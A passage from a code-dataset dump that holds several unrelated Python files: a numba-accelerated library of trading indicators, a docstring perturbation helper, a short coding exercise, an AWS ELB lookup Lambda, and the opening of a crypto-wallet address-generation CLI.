:type dev_up: float\r\n :type dev_down: float\r\n :rtype: (np.ndarray, np.ndarray, np.ndarray, np.ndarray)\r\n :return: middle, up, down, width\r\n \"\"\"\r\n size = len(data)\r\n bb_up = np.array([np.nan] * size)\r\n bb_down = np.array([np.nan] * size)\r\n bb_width = np.array([np.nan] * size)\r\n bb_mid = sma(data, period)\r\n for i in range(period - 1, size):\r\n std_dev = np.std(data[i - period + 1:i + 1])\r\n mid = bb_mid[i]\r\n bb_up[i] = mid + (std_dev * dev_up)\r\n bb_down[i] = mid - (std_dev * dev_down)\r\n bb_width[i] = bb_up[i] - bb_down[i]\r\n return bb_mid, bb_up, bb_down, bb_width\r\n\r\n\r\n@jit(nopython=True)\r\ndef keltner_channel(c_close, c_open, c_high, c_low, period, smoothing=2.0):\r\n \"\"\"\r\n Keltner Channel\r\n :type c_close: np.ndarray\r\n :type c_open: np.ndarray\r\n :type c_high: np.ndarray\r\n :type c_low: np.ndarray\r\n :type period: int\r\n :type smoothing: float\r\n :rtype: (np.ndarray, np.ndarray, np.ndarray, np.ndarray)\r\n :return: middle, up, down, width\r\n \"\"\"\r\n e = ema(c_close, period, smoothing)\r\n aa = 2 * atr(c_open, c_high, c_low, period)\r\n up = e + aa\r\n down = e - aa\r\n return e, up, down, up - down\r\n\r\n\r\n@jit(nopython=True)\r\ndef donchian_channel(c_high, c_low, period):\r\n \"\"\"\r\n Donchian Channel\r\n :type c_high: np.ndarray\r\n :type c_low: np.ndarray\r\n :type period: int\r\n :rtype: (np.ndarray, np.ndarray, np.ndarray, np.ndarray)\r\n :return: middle, up, down, width\r\n \"\"\"\r\n size = len(c_high)\r\n out_up = np.array([np.nan] * size)\r\n out_down = np.array([np.nan] * size)\r\n for i in range(period - 1, size):\r\n e = i + 1\r\n s = e - period\r\n out_up[i] = np.max(c_high[s:e])\r\n out_down[i] = np.min(c_low[s:e])\r\n return (out_up + out_down) / 2, out_up, out_down, out_up - out_down\r\n\r\n\r\n@jit(nopython=True)\r\ndef heiken_ashi(c_open, c_high, c_low, c_close):\r\n \"\"\"\r\n Heiken Ashi\r\n :type c_open: np.ndarray\r\n :type c_high: np.ndarray\r\n :type c_low: np.ndarray\r\n :type c_close: np.ndarray\r\n :rtype: (np.ndarray, np.ndarray, np.ndarray, np.ndarray)\r\n :return: open, high, low, close\r\n \"\"\"\r\n ha_close = (c_open + c_high + c_low + c_close) / 4\r\n ha_open = np.empty_like(ha_close)\r\n ha_open[0] = (c_open[0] + c_close[0]) / 2\r\n for i in range(1, len(c_close)):\r\n ha_open[i] = (c_open[i - 1] + c_close[i - 1]) / 2\r\n return \\\r\n ha_open, np.maximum(np.maximum(ha_open, ha_close), c_high), np.minimum(np.minimum(ha_open, ha_close), c_low), \\\r\n ha_close\r\n\r\n\r\n@jit(nopython=True)\r\ndef ichimoku(data, tenkansen=9, kinjunsen=26, senkou_b=52, shift=26):\r\n \"\"\"\r\n Ichimoku\r\n :type data: np.ndarray\r\n :type tenkansen: int\r\n :type kinjunsen: int\r\n :type senkou_b: int\r\n :type shift: int\r\n :rtype: (np.ndarray, np.ndarray, np.ndarray, np.ndarray, np.ndarray)\r\n :return: tenkansen, kinjunsen, chikou, senkou a, senkou b\r\n \"\"\"\r\n size = len(data)\r\n n_tenkansen = np.array([np.nan] * size)\r\n n_kinjunsen = np.array([np.nan] * size)\r\n n_senkou_b = np.array([np.nan] * (size + shift))\r\n for i in range(tenkansen - 1, size):\r\n window = data[i + 1 - tenkansen:i + 1]\r\n n_tenkansen[i] = (np.max(window) + np.min(window)) / 2\r\n for i in range(kinjunsen - 1, size):\r\n window = data[i + 1 - kinjunsen:i + 1]\r\n n_kinjunsen[i] = (np.max(window) + np.min(window)) / 2\r\n for i in range(senkou_b - 1, size):\r\n window = data[i + 1 - senkou_b:i + 1]\r\n n_senkou_b[i + shift] = (np.max(window) + np.min(window)) / 2\r\n return \\\r\n n_tenkansen, n_kinjunsen, np.concatenate(((data[shift:]), (np.array([np.nan] * (size - shift))))), \\\r\n np.concatenate((np.array([np.nan] * shift), ((n_tenkansen + n_kinjunsen) / 2))), n_senkou_b\r\n\r\n\r\n@jit(nopython=True)\r\ndef volume_profile(c_close, c_volume, bins=10):\r\n \"\"\"\r\n Volume Profile\r\n :type c_close: np.ndarray\r\n :type c_volume: np.ndarray\r\n :type bins: int\r\n :rtype: (np.ndarray, np.ndarray)\r\n :return: count, price\r\n \"\"\"\r\n min_close = np.min(c_close)\r\n max_close = np.max(c_close)\r\n norm = 1.0 / (max_close - min_close)\r\n sum_h = np.array([0.0] * bins)\r\n for i in range(len(c_close)):\r\n sum_h[int((c_close[i] - min_close) * bins * norm)] += c_volume[i] ** 2\r\n sq = np.sqrt(sum_h)\r\n return sq / sum(sq), np.linspace(min_close, max_close, bins)\r\n\r\n\r\n@jit(nopython=True)\r\ndef tr(c_open, c_high, c_low):\r\n \"\"\"\r\n True Range\r\n :type c_open: np.ndarray\r\n :type c_high: np.ndarray\r\n :type c_low: np.ndarray\r\n :rtype: np.ndarray\r\n \"\"\"\r\n return np.maximum(np.maximum(c_open - c_low, np.abs(c_high - c_open)), np.abs(c_low - c_open))\r\n\r\n\r\n@jit(nopython=True)\r\ndef atr(c_open, c_high, c_low, period):\r\n \"\"\"\r\n Average True Range\r\n :type c_open: np.ndarray\r\n :type c_high: np.ndarray\r\n :type c_low: np.ndarray\r\n :type period: int\r\n :rtype: np.ndarray\r\n \"\"\"\r\n return sma(tr(c_open, c_high, c_low), period)\r\n\r\n\r\n@jit(nopython=True)\r\ndef adx(c_open, c_high, c_low, period_adx, period_dm, smoothing=2.0):\r\n \"\"\"\r\n Average Directionnal Index\r\n :type c_open: np.ndarray\r\n :type c_high: np.ndarray\r\n :type c_low: np.ndarray\r\n :type period_adx: int\r\n :type period_dm: int\r\n :type smoothing: float\r\n :rtype: np.ndarray\r\n \"\"\"\r\n up = np.concatenate((np.array([np.nan]), c_high[1:] - c_high[:-1]))\r\n down = np.concatenate((np.array([np.nan]), c_low[:-1] - c_low[1:]))\r\n dm_up = np.array([0] * len(up))\r\n up_ids = up > down\r\n dm_up[up_ids] = up[up_ids]\r\n dm_up[dm_up < 0] = 0\r\n dm_down = np.array([0] * len(down))\r\n down_ids = down > up\r\n dm_down[down_ids] = down[down_ids]\r\n dm_down[dm_down < 0] = 0\r\n avg_tr = atr(c_open, c_high, c_low, period_dm)\r\n dm_up_avg = 100 * ema(dm_up, period_dm, smoothing) / avg_tr\r\n dm_down_avg = 100 * ema(dm_down, period_dm, smoothing) / avg_tr\r\n return ema(100 * np.abs(dm_up_avg - dm_down_avg) / (dm_up_avg + dm_down_avg), period_adx, smoothing)\r\n\r\n\r\n@jit(nopython=True)\r\ndef obv(c_close, c_volume):\r\n \"\"\"\r\n On Balance Volume\r\n :type c_close: np.ndarray\r\n :type c_volume: np.ndarray\r\n :rtype: np.ndarray\r\n \"\"\"\r\n size = len(c_close)\r\n out = np.full(size, np.nan)\r\n out[0] = 1\r\n for i in range(1, size):\r\n if c_close[i] > c_close[i - 1]:\r\n out[i] = out[i - 1] + c_volume[i]\r\n elif c_close[i] < c_close[i - 1]:\r\n out[i] = out[i - 1] - c_volume[i]\r\n else:\r\n out[i] = out[i - 1]\r\n return out\r\n\r\n\r\n@jit(nopython=True)\r\ndef momentum(data, period):\r\n \"\"\"\r\n Momentum\r\n :type data: np.ndarray\r\n :type period: int\r\n :rtype: np.ndarray\r\n \"\"\"\r\n size = len(data)\r\n out = np.full(size, np.nan)\r\n for i in range(period - 1, size):\r\n out[i] = data[i] - data[i - period + 1]\r\n return out\r\n\r\n\r\n@jit(nopython=True)\r\ndef roc(data, period):\r\n \"\"\"\r\n Rate Of Change\r\n :type data: np.ndarray\r\n :type period: int\r\n :rtype: np.ndarray\r\n \"\"\"\r\n size = len(data)\r\n out = np.full(size, np.nan)\r\n for i in range(period - 1, size):\r\n p = data[i - period + 1]\r\n out[i] = ((data[i] - p) / p) * 100\r\n return out\r\n\r\n\r\n@jit(nopython=True)\r\ndef aroon(data, period):\r\n \"\"\"\r\n Aroon\r\n :type data: np.ndarray\r\n :type period: int\r\n :rtype: (np.ndarray, np.ndarray)\r\n :return: up, down\r\n \"\"\"\r\n size = len(data)\r\n out_up = np.array([np.nan] * size)\r\n out_down = np.array([np.nan] * size)\r\n for i in range(period - 1, size):\r\n window = np.flip(data[i + 1 - period:i + 1])\r\n out_up[i] = ((period - window.argmax()) / period) * 100\r\n out_down[i] = ((period - window.argmin()) / period) * 100\r\n return out_up, out_down\r\n\r\n\r\n@jit(nopython=True)\r\ndef cmf(c_close, c_high, c_low, c_volume, period):\r\n \"\"\"\r\n Chaikin Money Flow\r\n :type c_close: np.ndarray\r\n :type c_high: np.ndarray\r\n :type c_low: np.ndarray\r\n :type c_volume: np.ndarray\r\n :type period: int\r\n :rtype: np.ndarray\r\n \"\"\"\r\n size = len(c_close)\r\n out = np.full(size, np.nan)\r\n for i in range(period - 1, size):\r\n e = i + 1\r\n s = e - period\r\n w_close = c_close[s:e]\r\n w_high = c_high[s:e]\r\n w_low = c_low[s:e]\r\n w_vol = c_volume[s:e]\r\n out[i] = sum((((w_close - w_low) - (w_high - w_close)) / (w_high - w_low)) * w_vol) / sum(w_vol)\r\n return out\r\n\r\n\r\n@jit(nopython=True)\r\ndef vix(c_close, c_low, period):\r\n \"\"\"\r\n Volatility Index\r\n :type c_close: np.ndarray\r\n :type c_low: np.ndarray\r\n :type period: int\r\n :rtype: np.ndarray\r\n \"\"\"\r\n size = len(c_close)\r\n out = np.full(size, np.nan)\r\n for i in range(period - 1, size):\r\n hc = np.max(c_close[i + 1 - period:i + 1])\r\n out[i] = ((hc - c_low[i]) / hc) * 100\r\n return out\r\n\r\n\r\n@jit(nopython=True)\r\ndef fdi(c_close, period):\r\n \"\"\"\r\n Fractal Dimension Index\r\n :type c_close: np.ndarray\r\n :type period: int\r\n :rtype: np.ndarray\r\n \"\"\"\r\n size = len(c_close)\r\n out = np.full(size, np.nan)\r\n for i in range(period - 1, size):\r\n window = c_close[i + 1 - period:i + 1]\r\n pdiff = 0\r\n length = 0\r\n hc = np.max(window)\r\n lc = np.min(window)\r\n for j in (range(1, period - 1)):\r\n if hc > lc:\r\n diff = (window[-j] - lc) / (hc - lc)\r\n length += np.sqrt(((diff - pdiff) + (1 / (period ** 2))) ** 2) if j > 1 else 0\r\n pdiff = diff\r\n out[i] = (1 + (np.log(length) + np.log(2)) / np.log(2 * period)) if length > 0 else 0\r\n return out\r\n\r\n\r\n@jit(nopython=True)\r\ndef entropy(c_close, c_volume, period, bins=2):\r\n \"\"\"\r\n Entropy (Experimental)\r\n :type c_close: np.ndarray\r\n :type c_volume: np.ndarray\r\n :type period: int\r\n :type bins: int\r\n :rtype: np.ndarray\r\n \"\"\"\r\n size = len(c_close)\r\n out = np.full(size, np.nan)\r\n for i in range(period - 1, size):\r\n e = i + 1\r\n s = e - period\r\n close_w = c_close[s:e]\r\n volume_w = c_volume[s:e]\r\n min_w = np.min(close_w)\r\n norm = 1.0 / (np.max(close_w) - min_w)\r\n sum_h = np.array([0.0] * bins)\r\n for j in range(period):\r\n sum_h[int((close_w[j] - min_w) * bins * norm)] += volume_w[j] ** 2\r\n count = np.sqrt(sum_h)\r\n count = count / sum(count)\r\n count = count[np.nonzero(count)]\r\n out[i] = -sum(count * np.log2(count))\r\n return out\r\n\r\n\r\n@jit(nopython=True)\r\ndef poly_fit_extra(data, deg=1, extra=0):\r\n \"\"\"\r\n Polynomial Fit Extrapolation\r\n :type data: np.ndarray\r\n :type deg: int\r\n :type extra: int\r\n :rtype: np.ndarray\r\n \"\"\"\r\n size = len(data)\r\n x = np.arange(0, size, 1)\r\n m = np.ones((x.shape[0], deg + 1))\r\n m[:, 1] = x\r\n if deg > 1:\r\n for n in range(2, deg + 1):\r\n m[:, n] = m[:, n - 1] * x\r\n scale = np.empty((deg + 1,))\r\n for n in range(0, deg + 1):\r\n norm = np.linalg.norm(m[:, n])\r\n scale[n] = norm\r\n m[:, n] /= norm\r\n lsf = (np.linalg.lstsq(m, data, rcond=-1)[0] / scale)[::-1]\r\n lx = np.arange(0, size + extra, 1)\r\n out = np.zeros(lx.shape)\r\n for i, v in enumerate(lsf):\r\n out *= lx\r\n out += v\r\n return out\r\n\r\n\r\n@jit(nopython=True)\r\ndef fourier_fit_extra(data, harmonic, extra=0):\r\n \"\"\"\r\n Fourier Transform Fit Extrapolation\r\n :type data: np.ndarray\r\n :type harmonic: int\r\n :type extra: int\r\n :rtype: np.ndarray\r\n \"\"\"\r\n size = len(data)\r\n x = np.arange(0, size, 1)\r\n m = np.ones((x.shape[0], 2))\r\n m[:, 1] = x\r\n scale = np.empty((2,))\r\n for n in range(0, 2):\r\n norm = np.linalg.norm(m[:, n])\r\n scale[n] = norm\r\n m[:, n] /= norm\r\n lsf = (np.linalg.lstsq(m, data, rcond=-1)[0] / scale)[::-1]\r\n lsd = data - lsf[0] * x\r\n size_lsd = len(lsd)\r\n four = np.zeros(size_lsd, dtype=np.complex128)\r\n for i in range(size_lsd):\r\n sum_f = 0\r\n for n in range(size_lsd):\r\n sum_f += lsd[n] * np.exp(-2j * np.pi * i * n * (1 / size_lsd))\r\n four[i] = sum_f\r\n freq = np.empty(size)\r\n mi = (size - 1) // 2 + 1\r\n freq[:mi] = np.arange(0, mi)\r\n freq[mi:] = np.arange(-(size // 2), 0)\r\n freq *= 1.0 / size\r\n lx = np.arange(0, size + extra)\r\n out = np.zeros(lx.shape)\r\n index = [v for _, v in sorted([(np.absolute(four[v]), v) for v in list(range(size))])][::-1]\r\n for i in index[:1 + harmonic * 2]:\r\n out += (abs(four[i]) / size) * np.cos(2 * np.pi * freq[i] * lx + np.angle(four[i]))\r\n return out + lsf[0] * lx\r\n\r\n\r\n@jit(nopython=True)\r\ndef super_trend(c_close, c_open, c_high, c_low, period_atr=10, multi=3):\r\n \"\"\"\r\n Supertrend\r\n :type c_close: np.ndarray\r\n :type c_open: np.ndarray\r\n :type c_high: np.ndarray\r\n :type c_low: np.ndarray\r\n :type period_atr: int\r\n :type multi: int\r\n :rtype: (np.ndarray, np.ndarray)\r\n :return: up, down\r\n \"\"\"\r\n size = len(c_close)\r\n avg_tr = atr(c_open, c_high, c_low, period_atr)\r\n hl2 = (c_high + c_low) / 2\r\n b_up = hl2 + (multi * avg_tr)\r\n b_down = hl2 - (multi * avg_tr)\r\n st = np.array([np.nan] * size)\r\n for i in range(1, size):\r\n j = i - 1\r\n if c_close[i] > b_up[j]:\r\n st[i] = 1\r\n elif c_close[i] < b_down[j]:\r\n st[i] = 0\r\n else:\r\n st[i] = st[j]\r\n if st[i] == 1 and b_down[i] < b_down[j]:\r\n b_down[i] = b_down[j]\r\n if st[i] == 0 and b_up[i] > b_up[j]:\r\n b_up[i] = b_up[j]\r\n return np.where(st == 1, b_down, np.nan), np.where(st == 0, b_up, np.nan)\r\n\r\n\r\n@jit(nopython=True)\r\ndef chop(c_close, c_open, c_high, c_low, period=14):\r\n \"\"\"\r\n Chopiness Index\r\n :type c_close: np.ndarray\r\n :type c_open: np.ndarray\r\n :type c_high: np.ndarray\r\n :type c_low: np.ndarray\r\n :type period: int\r\n :rtype: np.ndarray\r\n \"\"\"\r\n size = len(c_close)\r\n out = np.full(size, np.nan)\r\n a_tr = atr(c_open, c_high, c_low, period)\r\n for i in range(period - 1, size):\r\n e = i + 1\r\n s = e - period\r\n out[i] = (100 * np.log10(np.sum(a_tr[s:e]) / (np.max(c_high[s:e]) - np.min(c_low[s:e])))) / np.log10(period)\r\n return out\r\n\r\n\r\n@jit(nopython=True)\r\ndef cog(data, period=10):\r\n \"\"\"\r\n Center Of Gravity\r\n :type data: np.ndarray\r\n :type period: int\r\n :rtype: np.ndarray\r\n \"\"\"\r\n size = len(data)\r\n out = np.full(size, np.nan)\r\n for i in range(period - 1, size):\r\n e = i + 1\r\n s = e - period\r\n window = data[s:e]\r\n den = np.sum(window)\r\n num = 0\r\n for j in range(0, period):\r\n num += window[j] * (period - j)\r\n out[i] = - num / den\r\n return out\r\n\r\n\r\n@jit(nopython=True)\r\ndef lsma(data, period=14, regression=True):\r\n \"\"\"\r\n Least Squares Moving Average\r\n :type data: np.ndarray\r\n :type period: int\r\n :type regression: bool\r\n :rtype: np.ndarray\r\n \"\"\"\r\n size = len(data)\r\n out = np.full(size, np.nan)\r\n w = np.arange(1, period + 1, dtype=np.float64)\r\n if regression:\r\n for i in range(period - 1, size):\r\n e = i + 1\r\n s = e - period\r\n intercept, slope = np.dot(np.linalg.pinv(np.vstack((np.ones(period), w)).T), data[s:e])\r\n out[i] = slope * period + intercept\r\n else:\r\n for i in range(period - 1, size):\r\n e = i + 1\r\n s = e - period\r\n out[i] = np.dot(data[s:e], w) / np.sum(w)\r\n return out\r\n\r\n\r\n@jit(nopython=True)\r\ndef zlsma(data, period=14, regression=True):\r\n \"\"\"\r\n Zero-Lag Least Squares Moving Average\r\n :param data: np.ndarray\r\n :param period: int\r\n :param regression: bool\r\n :return: np.ndarray\r\n \"\"\"\r\n size = len(data)\r\n sum_w = np.sum(np.arange(1, period + 1, dtype=np.float64))\r\n lsma_v = lsma(data, period, regression)\r\n out = np.full(size, np.nan)\r\n w = sum_w / (2 * np.sum(np.arange(1, period)))\r\n for i in range(period - 1, size):\r\n out[i] = lsma_v[i] + (data[i] - lsma_v[i]) * w\r\n return out\r\n\r\n\r\n@jit(nopython=True)\r\ndef kama(data, period=10, fast=2, slow=30, smoothing=0.666):\r\n \"\"\"\r\n Kaufman's Adaptive Moving Average\r\n :type data: np.ndarray\r\n :type period: int\r\n :type fast: int\r\n :type slow: int\r\n :type smoothing: float\r\n :rtype: np.ndarray\r\n \"\"\"\r\n size = len(data)\r\n out = np.full(size, np.nan)\r\n er = np.full(size, np.nan)\r\n sc = np.full(size, np.nan)\r\n fc = np.full(size, np.nan)\r\n c = np.abs(np.diff(data))\r\n v = np.sum(c)\r\n if v > 0:\r\n er[period] = c[period] / v\r\n for i in range(period + 1, size):\r\n er[i] = (er[i - 1] * (period - 1) + c[i - 1]) / v\r\n if np.isfinite(er).any():\r\n f_sc = 2 / (fast + 1)\r\n s_sc = 2 / (slow + 1)\r\n sc[period] = er[period] * (f_sc - s_sc) + s_sc\r\n for i in range(period + 1, size):\r\n sc[i] = er[i] * (f_sc - s_sc) + s_sc + sc[i - 1] * (1 - smoothing)\r\n out[period] = data[period]\r\n fc[period] = out[period]\r\n for i in range(period + 1, size):\r\n out[i] = out[i - 1] + sc[i] * (data[i] - out[i - 1])\r\n fc[i] = out[i - 1] + smoothing * (data[i] - out[i - 1])\r\n return out\r\n\r\n\r\n@jit(nopython=True)\r\ndef grma(data, period):\r\n \"\"\"\r\n Golden Ratio Moving Average\r\n :param data: np.ndarray\r\n :param period: int\r\n :return: np.ndarray\r\n \"\"\"\r\n size = len(data)\r\n out = np.full(size, np.nan)\r\n sr = np.sqrt(2)\r\n alpha = (sr - 1) / (sr + 1)\r\n for i in range(period - 1, size):\r\n if i == period - 1:\r\n out[i] = np.mean(data[:i + 1])\r\n else:\r\n t1 = alpha * (data[i] - out[i - 1])\r\n t2 = (1 - alpha) * (data[i - 1] - out[i - 1])\r\n out[i] = out[i - 1] + t1 + t2\r\n return out\r\n","repo_name":"RomFR57/fastfinance","sub_path":"fastfinance.py","file_name":"fastfinance.py","file_ext":"py","file_size_in_byte":28096,"program_lang":"python","lang":"en","doc_type":"code","stars":27,"dataset":"github-code","pt":"37"} +{"seq_id":"27979123905","text":"from natgen import VarRenamerBase\n\n\ndef sep_doc(data, prompt, entry_point):\n \"\"\" A help function to seperate docstring, a specific function for MBXP and humaneval\n Note that there is another sep function in natgen which is used to seperate \n the whole documents in prompt including docstring & examples.\n \"\"\"\n # sep into header, docstring only (without any special charaters like \"\"\"), examples\n if data in [\"humaneval\", \"mbpp\"]:\n start = prompt.find('\"\"\"', prompt.find(entry_point)) \n if start == -1: # some humaneval will use \"'''\" for docstrings\n start = prompt.find('\\'\\'\\'', prompt.find(entry_point)) \n assert start != -1\n start = start + 3\n # some transformation might remove \\n, so we need to keep \\n \\t in head part\n special = start + 1\n while prompt[special] in [\" \", \"\\n\", \"\\t\"]:\n special += 1\n start = special\n end = prompt.find(\">>>\", prompt.find(entry_point))\n # some transformation might remove \\n, so we need to keep \\n \\t in cases part\n special = end - 1\n while prompt[special] in [\" \", \"\\n\", \"\\t\"]:\n special -= 1\n end = special + 1\n return prompt[:start], prompt[start:end], prompt[end:]\n elif data in [\"mbjp\", \"mbjsp\"]:\n # start = prompt.find('/**', prompt.find(entry_point))\n start = prompt.find('/**')\n assert start != -1\n start = start + 3\n special = start + 1\n while prompt[special] in [\" \", \"\\n\", \"\\t\", \"*\"]:\n special += 1\n start = special\n end = prompt.find(\"* >\")\n special = end - 1\n while prompt[special] in [\" \", \"\\n\", \"\\t\"]:\n special -= 1\n end = special + 1\n return prompt[:start], prompt[start:end], prompt[end:]\n elif data in [\"mbphp\", \"mbkp\", \"mbrbp\"]:\n if data == \"mbphp\":\n start_flag = \"You are an expert PHP programmer, and here is your task.\\n *\"\n end_flag = \"* php >\"\n elif data == \"mbkp\":\n start_flag = \"You are an expert Kotlin programmer, and here is your task.\\n *\"\n end_flag = \"* >>>\"\n elif data == \"mbrbp\":\n start_flag = \"You are an expert Ruby programmer, and here is your task.\\n#\"\n end_flag = \"# irb>\"\n start = prompt.find(start_flag) + len(start_flag)\n special = start + 1\n while prompt[special] in [\" \", \"\\n\", \"\\t\", \"*\"]:\n special += 1\n start = special\n end = prompt.find(end_flag)\n special = end - 1\n while prompt[special] in [\" \", \"\\n\", \"\\t\"]:\n special -= 1\n end = special + 1\n return prompt[:start], prompt[start:end], prompt[end:]\n else:\n print(f\"Dataset {data} not supported for transformation!\")\n exit()\n\ndef word_blacklist(code_string, language=\"python\"):\n \"\"\" A help function to get a blacklist of words in the docstring that cannot be perturbed by nlaugmenter\n \"\"\"\n # tsf = VarRenamerBase(\"natgen/languages.so\", language)\n if language == \"humaneval\": language = \"python\"\n if language == \"mbpp\": language = \"python\"\n tsf = VarRenamerBase(\"natgen/treesitter/build/my-languages.so\", language)\n \n root = tsf.parse_code(code_string)\n var_names = tsf.extract_var_names(root, code_string)\n var_names = set(var_names)\n # for variables in type variables, add\n var_names.update(tsf.TYPE_VARS)\n # for variable name appears in function/class name, add\n not_var_ptype_var_names = tsf.get_not_var_ptype_var_names(root, code_string)\n var_names.update(not_var_ptype_var_names)\n return var_names\n\n\ndef clean_word(word):\n \"\"\" A help function to clean up words\n \"\"\"\n # if word is \"\\ncost[]\"\", => \"cost\"\n new_word = \"\"\n start = False\n end = False\n for ch in word:\n if ch.isalnum():\n if not start: start = True\n new_word += ch\n else:\n if start: break\n return new_word\n\n\ndef preprocess_docstring(black_list, docstring, tsf):\n \"\"\" Preprocess docstring to replace variables in the blacklist to <|||> such that we will not perturb them\n \"\"\"\n if hasattr(tsf, \"perturb_level\") and tsf.perturb_level in [\"word-level\", \"char-level\"]:\n docstring_words = docstring.split(\" \")\n new_words = []\n replaces = []\n for word in docstring_words:\n if clean_word(word) in black_list:\n new_words.append(\"<|||>\")\n replaces.append(word)\n else:\n new_words.append(word)\n new_doc = ' '.join(new_words)\n # import pdb; pdb.set_trace()\n return new_doc, replaces\n else:\n return docstring, []\n\n\ndef postprocess_docstring(docstring, replaces):\n \"\"\" Postprocess docstring to replace <|||> to original words\n \"\"\"\n docstring = docstring.replace(\"< ||| >\", \"<|||>\") # sometimes will be separated due to tokenization\n for replace in replaces:\n docstring = docstring.replace(\"<|||>\", replace, 1)\n return docstring\n","repo_name":"amazon-science/recode","sub_path":"nlaugmenter/process_docstring.py","file_name":"process_docstring.py","file_ext":"py","file_size_in_byte":5036,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"37"} +{"seq_id":"71535696429","text":"def solution(n, stat1, stat2):\n '''\n :param n: int\n :param stat1: list\n :param stat2: list\n :return: string\n '''\n x = [(int(i[1]), i[0]) for i in enumerate(stat1)]\n y = [(int(i[1]), i[0]) for i in enumerate(stat2)]\n x = sorted(x, reverse=True)\n y = sorted(y, reverse=True)\n\n q = set()\n for i in range(n):\n q.add(x[i][1])\n q.add(y[i][1])\n if len(q) == i + 1:\n break\n\n answer = ['0'] * n\n for i in q:\n answer[i] = '1'\n \n return ''.join(answer)\n","repo_name":"devYuMinKim/coding_test_with_javascript","sub_path":"20221102/모범답안/20221102_06/battleground.py","file_name":"battleground.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22608192057","text":"import os\nimport boto3\n\nclient = boto3.client('elb')\nvpc_id = os.environ['VPC_ID']\ncluster_name = os.environ['CLUSTER_NAME']\n\ndef _get_elb_name():\n response = client.describe_load_balancers()\n load_balancers = response['LoadBalancerDescriptions']\n\n # get all the ELBs in this VPC\n load_balancer_names_in_vpc = []\n for lb in load_balancers:\n if lb['VPCId'] == vpc_id:\n load_balancer_names_in_vpc.append(lb[\"LoadBalancerName\"])\n\n # get the tags\n response = client.describe_tags(\n LoadBalancerNames=load_balancer_names_in_vpc)\n\n # return the name of the ELB corresponding to this cluster\n for description in response['TagDescriptions']:\n for tag in description['Tags']:\n if tag['Key'] == f\"kubernetes.io/cluster/{cluster_name}\":\n return {\n \"Name\" : description['LoadBalancerName']\n }\n\n return None\n\ndef my_handler(event, context):\n return _get_elb_name()\n","repo_name":"astronomer/terraform","sub_path":"aws/files/elb_lookup.py","file_name":"elb_lookup.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"33897578679","text":"#!/usr/bin/env python\nimport os\nimport json\nimport argparse\nimport qrcode\n#import tqdm\nimport subprocess\nimport binascii\nfrom mnemonic import Mnemonic\nfrom tabulate import tabulate\nfrom hdwallet.cli import ( click, sys )\nfrom sdk import ( python_hdwallet, symbol, stellar, waves )\nfrom entropy import load_entropies\n\nMODELS = {\n \"XYM\": {\n \"model\": symbol,\n \"network\": \"mainnet\",\n \"semantic\": None\n },\n \"XYMTEST\": {\n \"model\": symbol,\n \"network\": \"testnet\",\n \"semantic\": None\n },\n \"XLM\": {\n \"model\": stellar,\n \"network\": \"mainnet\",\n \"semantic\": None\n },\n \"WAVES\": {\n \"model\": waves,\n \"network\": \"mainnet\",\n \"semantic\": None\n },\n}\n\nJSMODELS = {\n \"DOT\": {\n \"model\": \"polkadot\",\n \"network\": \"Polkadot\",\n \"semantic\": None\n },\n \"DOTKSM\": {\n \"model\": \"polkadot\",\n \"network\": \"Kusama\",\n \"semantic\": None\n },\n \"DOTSUB\": {\n \"model\": \"polkadot\",\n \"network\": \"Substrate\",\n \"semantic\": None\n },\n}\n\ndef add_argument_parser():\n parser = argparse.ArgumentParser(description = 'Print wallet info.')\n sub_parser = parser.add_subparsers(help='sub-command help', title='sub commands', description='valid subcommands')\n add_list_parser(sub_parser)\n add_generate_parser(sub_parser)\n return parser.parse_args()\n\n \n# list sub command\ndef add_list_parser(sub_parser):\n parser = sub_parser.add_parser('list', aliases=['l'], help='Show supported cryptocurrencies list.')\n parser.add_argument(\n \"-s\",\n \"--search_key_words\",\n nargs = \"?\",\n required = False,\n help = \"Show fited cryptocurrencies only that the specified key words included in whose symbol or name.\"\n )\n parser.set_defaults(func=list_cryptocurrencies)\n \n\n# generate sub command\ndef add_generate_parser(sub_parser):\n parser = sub_parser.add_parser('generate', aliases=['g'], help='Convert entropy to address, public_key, private_key, mnemonic, seed.')\n parser.add_argument(\n \"-s\",\n \"--symbol\",\n nargs = \"?\",\n required = True,\n help = \"Symbol name of cryptocurrency\"\n )\n parser.add_argument(\n \"--wallet_dir_path\",\n nargs = \"?\",\n default = \"/app/wallet\",\n help = \"Root path of wallet, default value is /app/wallet.\"\n )\n parser.add_argument(\n \"--qr_save_dir\",\n nargs = \"?\",\n default = \"/app/qrcode\",\n help = \"Root path of qr code, default value is /app/qrcode.\"\n )\n parser.add_argument(\n \"-a\",\n \"--address\",\n required = False,\n default = False,\n action = 'store_true',\n help = \"show address\"\n )\n parser.add_argument(\n \"-x\",\n \"--public_key\",\n required = False,\n default = False,\n action = 'store_true',\n help = \"show public key.\"\n )\n parser.add_argument(\n \"-i\",\n \"--private_key\",\n required = False,\n default = False,\n action = 'store_true',\n help = \"show private key.\"\n )\n parser.add_argument(\n \"-e\",\n \"--seed\",\n required = False,\n default = False,\n action = 'store_true',\n help = \"show seed.\"\n )\n parser.add_argument(\n \"-m\",\n \"--mnemonic\",\n required = False,\n default = False,\n action = 'store_true',\n help = \"show whole words of mnemonic, else, show only the head 3 words of mnemonic\"\n )\n parser.add_argument(\n \"-k\",\n \"--entropy\",\n required = False,\n default = False,\n action = 'store_true',\n help = \"show entropy.\"\n )\n parser.add_argument(\n \"-qr\",\n \"--qr_code\",\n required = False,\n default = False,\n action = 'store_true',\n help = \"save the generated qr code of address.\"\n )\n parser.set_defaults(func=generate_address)\n\n\ndef generate_address(args):\n symbol = args.symbol\n\n # load content of entropy file\n raw_list = load_entropies(args.wallet_dir_path, symbol)\n\n last_is_comment = True\n rslt = []\n entropy_list = []\n for entropy in raw_list:\n # deal comment lines of entropy file\n if not entropy or entropy.startswith('#'):\n if not last_is_comment:\n rslt.append([True, entropy_list])\n entropy_list = []\n rslt.append([False, entropy])\n last_is_comment = True\n continue\n \n # generate key, seed, address from entropy\n mnemonic = Mnemonic(language=\"english\").to_mnemonic(data=binascii.unhexlify(entropy))\n seed = binascii.hexlify(Mnemonic.to_seed(mnemonic=mnemonic, passphrase=\"\")).decode()\n\n if symbol in 